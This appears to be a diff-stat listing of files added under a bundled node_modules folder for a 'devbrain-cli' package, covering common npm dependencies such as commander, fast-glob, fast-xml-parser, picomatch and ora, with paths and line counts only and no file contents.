- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/commander/lib/help.js +520 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/commander/lib/option.js +330 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/commander/lib/suggestSimilar.js +101 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/commander/package-support.json +16 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/commander/package.json +84 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/commander/typings/esm.d.mts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/commander/typings/index.d.ts +969 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/debug/LICENSE +20 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/debug/README.md +481 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/debug/package.json +64 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/debug/src/browser.js +272 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/debug/src/common.js +292 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/debug/src/index.js +10 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/debug/src/node.js +263 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/emoji-regex/LICENSE-MIT.txt +20 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/emoji-regex/README.md +107 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/emoji-regex/index.d.ts +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/emoji-regex/index.js +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/emoji-regex/index.mjs +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/emoji-regex/package.json +45 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/README.md +830 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/index.d.ts +40 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/index.js +102 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/managers/tasks.d.ts +22 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/managers/tasks.js +110 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/providers/async.d.ts +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/providers/async.js +23 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/providers/filters/deep.d.ts +16 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/providers/filters/deep.js +62 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/providers/filters/entry.d.ts +17 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/providers/filters/entry.js +85 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/providers/filters/error.d.ts +8 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/providers/filters/error.js +15 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/providers/matchers/matcher.d.ts +33 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/providers/matchers/matcher.js +45 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/providers/matchers/partial.d.ts +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/providers/matchers/partial.js +38 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/providers/provider.d.ts +19 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/providers/provider.js +48 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/providers/stream.d.ts +11 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/providers/stream.js +31 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/providers/sync.d.ts +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/providers/sync.js +23 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/providers/transformers/entry.d.ts +8 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/providers/transformers/entry.js +26 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/readers/async.d.ts +10 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/readers/async.js +35 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/readers/reader.d.ts +15 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/readers/reader.js +33 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/readers/stream.d.ts +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/readers/stream.js +55 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/readers/sync.d.ts +12 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/readers/sync.js +43 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/settings.d.ts +164 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/settings.js +59 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/types/index.d.ts +31 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/types/index.js +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/utils/array.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/utils/array.js +22 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/utils/errno.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/utils/errno.js +7 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/utils/fs.d.ts +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/utils/fs.js +19 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/utils/index.d.ts +8 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/utils/index.js +17 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/utils/path.d.ts +13 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/utils/path.js +68 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/utils/pattern.d.ts +49 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/utils/pattern.js +206 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/utils/stream.d.ts +4 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/utils/stream.js +17 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/utils/string.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/out/utils/string.js +11 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-glob/package.json +81 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-builder/CHANGELOG.md +40 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-builder/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-builder/README.md +74 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-builder/lib/fxb.cjs +1 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-builder/lib/fxb.d.cts +270 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-builder/lib/fxb.min.js +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-builder/package.json +81 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-builder/src/fxb.d.ts +270 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-builder/src/fxb.js +599 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-builder/src/ignoreAttributes.js +18 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-builder/src/orderedJs2Xml.js +359 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-builder/src/prettifyJs2Xml.js +0 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-builder/src/util.js +16 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/CHANGELOG.md +852 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/README.md +200 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/lib/fxbuilder.min.js +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/lib/fxp.cjs +1 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/lib/fxp.d.cts +772 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/lib/fxp.min.js +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/lib/fxparser.min.js +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/lib/fxvalidator.min.js +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/package.json +93 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/cli/cli.js +97 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/cli/man.js +17 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/cli/read.js +43 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/fxp.d.ts +752 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/fxp.js +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/ignoreAttributes.js +18 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/util.js +61 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/CharsSymbol.js +16 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/EntitiesParser.js +106 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/OptionsBuilder.js +61 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/OutputBuilders/BaseOutputBuilder.js +69 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/OutputBuilders/JsArrBuilder.js +103 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/OutputBuilders/JsMinArrBuilder.js +100 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/OutputBuilders/JsObjBuilder.js +154 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/OutputBuilders/ParserOptionsBuilder.js +94 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/Report.js +0 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/TagPath.js +81 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/TagPathMatcher.js +13 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/XMLParser.js +83 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/Xml2JsParser.js +235 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/XmlPartReader.js +210 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/XmlSpecialTagsReader.js +111 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/inputSource/BufferSource.js +116 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/inputSource/StringSource.js +121 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/valueParsers/EntitiesParser.js +105 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/valueParsers/booleanParser.js +22 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/valueParsers/booleanParserExt.js +19 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/valueParsers/currency.js +38 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/valueParsers/join.js +13 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/valueParsers/number.js +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/v6/valueParsers/trim.js +6 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/validator.js +425 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/xmlbuilder/json2xml.js +6 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/xmlparser/DocTypeReader.js +411 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/xmlparser/OptionsBuilder.js +164 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/xmlparser/OrderedObjParser.js +846 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/xmlparser/XMLParser.js +71 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/xmlparser/node2json.js +177 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fast-xml-parser/src/xmlparser/xmlNode.js +40 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fastq/LICENSE +13 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fastq/README.md +310 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fastq/SECURITY.md +15 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fastq/bench.js +66 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fastq/eslint.config.js +11 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fastq/example.js +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fastq/example.mjs +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fastq/index.d.ts +59 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fastq/package.json +49 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fastq/queue.js +346 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fastq/test/example.ts +83 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fastq/test/promise.js +325 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fastq/test/test.js +733 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fastq/test/tsconfig.json +11 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fill-range/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fill-range/README.md +237 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fill-range/index.js +248 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/fill-range/package.json +74 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/get-east-asian-width/index.d.ts +60 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/get-east-asian-width/index.js +30 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/get-east-asian-width/license +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/get-east-asian-width/lookup-data.js +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/get-east-asian-width/lookup.js +138 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/get-east-asian-width/package.json +71 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/get-east-asian-width/readme.md +65 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/get-east-asian-width/utilities.js +24 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/glob-parent/CHANGELOG.md +110 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/glob-parent/LICENSE +15 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/glob-parent/README.md +137 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/glob-parent/index.js +42 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/glob-parent/package.json +48 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-extglob/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-extglob/README.md +107 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-extglob/index.js +20 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-extglob/package.json +69 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-glob/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-glob/README.md +206 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-glob/index.js +150 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-glob/package.json +81 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-interactive/index.d.ts +25 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-interactive/index.js +7 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-interactive/license +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-interactive/package.json +41 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-interactive/readme.md +52 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-number/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-number/README.md +187 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-number/index.js +18 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-number/package.json +82 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unicode-supported/index.d.ts +12 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unicode-supported/index.js +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unicode-supported/license +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unicode-supported/package.json +47 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unicode-supported/readme.md +35 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unsafe/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unsafe/README.md +528 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unsafe/package.json +48 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unsafe/src/contexts/html.js +102 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unsafe/src/contexts/log.js +98 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unsafe/src/contexts/nosql.js +114 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unsafe/src/contexts/redos.js +60 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unsafe/src/contexts/shell.js +105 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unsafe/src/contexts/sql-strict.js +47 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unsafe/src/contexts/sql.js +95 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unsafe/src/contexts/svg.js +81 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unsafe/src/contexts/xml.js +78 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unsafe/src/index.cjs +27 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unsafe/src/index.d.ts +28 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unsafe/src/index.js +204 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unsafe/src/registry.js +45 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/log-symbols/browser.js +8 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/log-symbols/index.d.ts +22 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/log-symbols/index.js +20 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/log-symbols/license +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/log-symbols/node_modules/is-unicode-supported/index.d.ts +12 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/log-symbols/node_modules/is-unicode-supported/index.js +17 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/log-symbols/node_modules/is-unicode-supported/license +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/log-symbols/node_modules/is-unicode-supported/package.json +43 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/log-symbols/node_modules/is-unicode-supported/readme.md +35 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/log-symbols/package.json +57 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/log-symbols/readme.md +39 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/merge2/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/merge2/README.md +144 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/merge2/index.js +144 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/merge2/package.json +43 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/micromatch/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/micromatch/README.md +1024 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/micromatch/index.js +474 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/micromatch/package.json +119 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/mimic-function/index.d.ts +52 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/mimic-function/index.js +72 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/mimic-function/license +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/mimic-function/package.json +49 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/mimic-function/readme.md +80 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/ms/index.js +162 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/ms/license.md +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/ms/package.json +38 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/ms/readme.md +59 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/onetime/index.d.ts +59 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/onetime/index.js +41 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/onetime/license +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/onetime/package.json +49 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/onetime/readme.md +88 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/ora/index.d.ts +332 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/ora/index.js +424 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/ora/license +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/ora/package.json +64 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/ora/readme.md +329 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/path-expression-matcher/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/path-expression-matcher/README.md +947 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/path-expression-matcher/lib/pem.cjs +1 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/path-expression-matcher/lib/pem.d.cts +725 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/path-expression-matcher/lib/pem.min.js +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/path-expression-matcher/package.json +79 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/path-expression-matcher/src/Expression.js +232 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/path-expression-matcher/src/ExpressionSet.js +225 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/path-expression-matcher/src/Matcher.js +660 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/path-expression-matcher/src/index.d.ts +589 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/path-expression-matcher/src/index.js +30 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/picomatch/LICENSE +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/picomatch/README.md +716 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/picomatch/index.js +3 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/picomatch/lib/constants.js +184 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/picomatch/lib/parse.js +1392 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/picomatch/lib/picomatch.js +342 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/picomatch/lib/scan.js +391 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/picomatch/lib/utils.js +64 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/picomatch/package.json +81 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/queue-microtask/LICENSE +20 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/queue-microtask/README.md +90 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/queue-microtask/index.d.ts +2 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/queue-microtask/index.js +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/queue-microtask/package.json +55 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/restore-cursor/index.d.ts +15 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/restore-cursor/index.js +15 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/restore-cursor/license +9 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/restore-cursor/package.json +57 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/restore-cursor/readme.md +21 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/reusify/.github/dependabot.yml +7 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/reusify/.github/workflows/ci.yml +96 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/reusify/LICENSE +22 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/reusify/README.md +139 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/reusify/SECURITY.md +15 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/reusify/benchmarks/createNoCodeFunction.js +30 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/reusify/benchmarks/fib.js +13 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/reusify/benchmarks/reuseNoCodeFunction.js +38 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/reusify/eslint.config.js +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/reusify/package.json +50 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/reusify/reusify.d.ts +14 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/reusify/reusify.js +33 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/reusify/test.js +66 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/reusify/tsconfig.json +11 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/run-parallel/LICENSE +20 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/run-parallel/README.md +85 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/run-parallel/index.js +51 -0
- package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/run-parallel/package.json +58 -0
